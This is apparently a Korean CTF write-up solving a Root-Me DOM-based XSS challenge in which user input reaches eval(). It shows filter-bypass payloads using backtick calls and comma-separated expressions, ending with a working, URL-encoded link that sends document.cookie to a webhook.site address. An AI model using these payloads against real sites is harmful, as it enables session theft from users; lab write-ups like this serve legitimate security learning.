Problem

How-to-solve

XSS DOM Based - Introduction과 비슷한 환경을 확인 할 수 있다.

우선 아무 값이나 집어 넣은 후 코드를 확인해보겠다.

숫자로 구성된 계산식을 사용해야 한다는 것을 알 수 있다.

그러면 계산식을 사용한 후 소스를 다시 보도록 하겠다.

아래에 계산식이 완성되어 축력되는 것을 확인할 수 있다.

그러면 소스코드를 확인해보도록 하겠다.

소스코드를 확인해보면 eval함수 안에 입력값이 삽입되고 그 값은 result로 할당되는 것을 확인할 수 있다.

아래에 document에서 계산식의 결과를 result함수로 출력하는 것을 확인할 수 있다.

그러면 여기에서 스크립트를 실행시킬 수 있는지 확인을 해봐야 한다.

1+2+<script>alert(1)</script>

기본script를 사용했는데 ()가 필터링되고 있는 것을 확인할 수 있다.

이런 경우 `(백쿼터)를 사용해서 ()를 대체할 수 있기 때문에 사용해서 시도해보도록 하겠다.

1+2+<script>alert`1`</script>

위의 스크립트를 사용해서 시도하였으나 <>가 필터링되어 삭제된 것을 확인할 수 있다.

여기에서 eval내에 코드를 삽입할 때 위의 코드에서 script가 삽입되었기 때문에 다시 삽입할 필요가 없음을 알 수 있다.

이런경우 alert`1`만을 사용해서 시도해보도록 하겠다.

1+2+alert`1`

위의 코드가 실행되어 경고창이 발생하는 것을 확인할 수 있다.

다만 포인트는 발견하였으나 admin이 접근하였을 경우 어떻게 cookie값을 전송하도록 할지는 많이 어려웠다.

소스코드를 확인해보면 `(백쿼터)를 통해 escape되고 result값이 출력되면서 실행되는 것을 확인할 수 있다.

(여기에서 엄청나게 삽질을 했다.)

1+2+alert`document.cookie`

위의 코드를 삽입했을 경우 발생하는 경고창이다.

cookie값이 획득되는 것이 아닌 문자열로 인식하여 출력되는 것을 확인할 수 있다.

해당 경우 쿠키값을 출력하는 방법에 긴 시간을 쏟았다.

1+2+document.write`${document.cookie}`

해당 명령어를 통에 result가 출력되면 HTML 내에 cookie값이 출력되는 것을 확인할 수 있었다.

(여기에서 시행착오가 괸장히 많았다.)

HTML에 출력된것을 보고 스크립트를 넣어 많은 시도를 하였다.

1+2-location.replace` https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=.concat {document.body.innerHTML}`

위와 같은 script를 삽입하여 시도하였으나 실행되지 않거나 ,만 출력되어 cookie값이 전달되지 않았다.

그러던 중 eval에서는 ,를 통해 명령어를 다중으로 삽입이 가능함을 알았다.

1+2,location.replace`https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=`,document.write`${document.cookie}`

위와 같은 스크립트를 활용해서 삽입을 시도하였다.

하지만 뒤에 쿠키값을 출력하도록 삽입하였으나 출력이 되지 않았다.

webhook에 전달된 값을 확인해봐도 cookie가 전달되지 않는 것을 확인할 수 있다.

매개변수를 실행시킬 수 있는 방법을 찾아야했다.

browser console에서 실행했을 경우 cookie값이 전달되는 방법을 찾았다.

eval(3+3,rokefoke=`https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=`+document.cookie,location.href=rokefoke)

정말 순간 몸이 짜릿했다.

위의 코드에서 변수(rokefoke)로 지정해서 location이 될 URL과 cookie값을 print할 수 있도록 뒤에 삽입하여 준다.

그럼 rokefoke의 변수에는 https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag= `+document.cookie가 할당되는데 이 때 해당 URL을 실행하기 위해 script를 사용하면 eval내에서 한 공간에 두개의 함수가 삽입되므로 실행이 되지 않았다.

다만 변수로 지정해서 location으로 직접 할당하면 document.cookie가 탈취가 가능했다.

그러면 시도해보겠다.

이 페이지가 잠시 나오는 것을 확인할 수 있다.

다만 result값을 보면 3만 출력되고 뒤의 값은 출력되지 않은 것을 확인할 수 있다.

이후 위의 화면으로 Redirect되며 flag변수에 cookie값이 작성되는 것을 확인할 수 있다.

그러면 admin에게 보내보도록하자.

http://challenge01.root-me.org/web-client/ch34/index.php?calculation=3+3,rokefoke=`https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=`+document.cookie,location.href=rokefoke

위의 코드를 삽입하여 전달하였다.

하지만 한참이 지나도 admin의 cookie값은 오지 않았다.

생각을 하다가 main에서 직접 URL에 삽입을 시도해보았다.

http://challenge01.root-me.org/web-client/ch34/index.php?calculation=3+3,rokefoke=`https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=`+document.cookie,location.href=rokefoke

URL에 위와같이 삽입하였으나 실행이 되지 않았다.

이 때 URL에 삽입하여 실행이 되기위해서 URL인코딩을 해야함을 알게되었다.

해당 script를 URL인코딩한 후 calculate에 삽입하여 공격을 시도하였다.

http://challenge01.root-me.org/web-client/ch34/index.php?calculation=%33%2b%33%2c%72%6f%6b%65%66%6f%6b%65%3d%60%68%74%74%70%73%3a%2f%2f%77%65%62%68%6f%6f%6b%2e%73%69%74%65%2f%64%39%33%34%37%31%39%36%2d%34%38%66%31%2d%34%62%64%38%2d%62%32%61%30%2d%34%34%65%31%63%33%61%66%61%64%65%31%2f%3f%66%6c%61%67%3d%60%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%2c%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%72%6f%6b%65%66%6f%6b%65

정상적으로 삽입된 것을 확인할 수 있었다.

그러면 이제 webhook으로 쿠키값이 오기를 기다려보겠다.

 

중요하게 알게 된 것!

1) eval 내 +와 -를 확용하여 간단한 script삽입이 가능하다.

2) eval은 location.href를 통한 redirect도 가능하지만 location.replace``를 통한 redirect가능하다.

3) location.replace는 함수 두개를 한번에 사용하기는 어렵다.

4) eval 함수 내 ,(쉼표)를 통해 분리하여 여러개의 명령어 삽입이 가능하다.

5) 변수를 지정하여 함수 삽입 시 간접 호출이 가능하다.

 

요즘 풀었던 문제 중 가장 재밌었다ㅋㅋ

 

끝!

+ Recent posts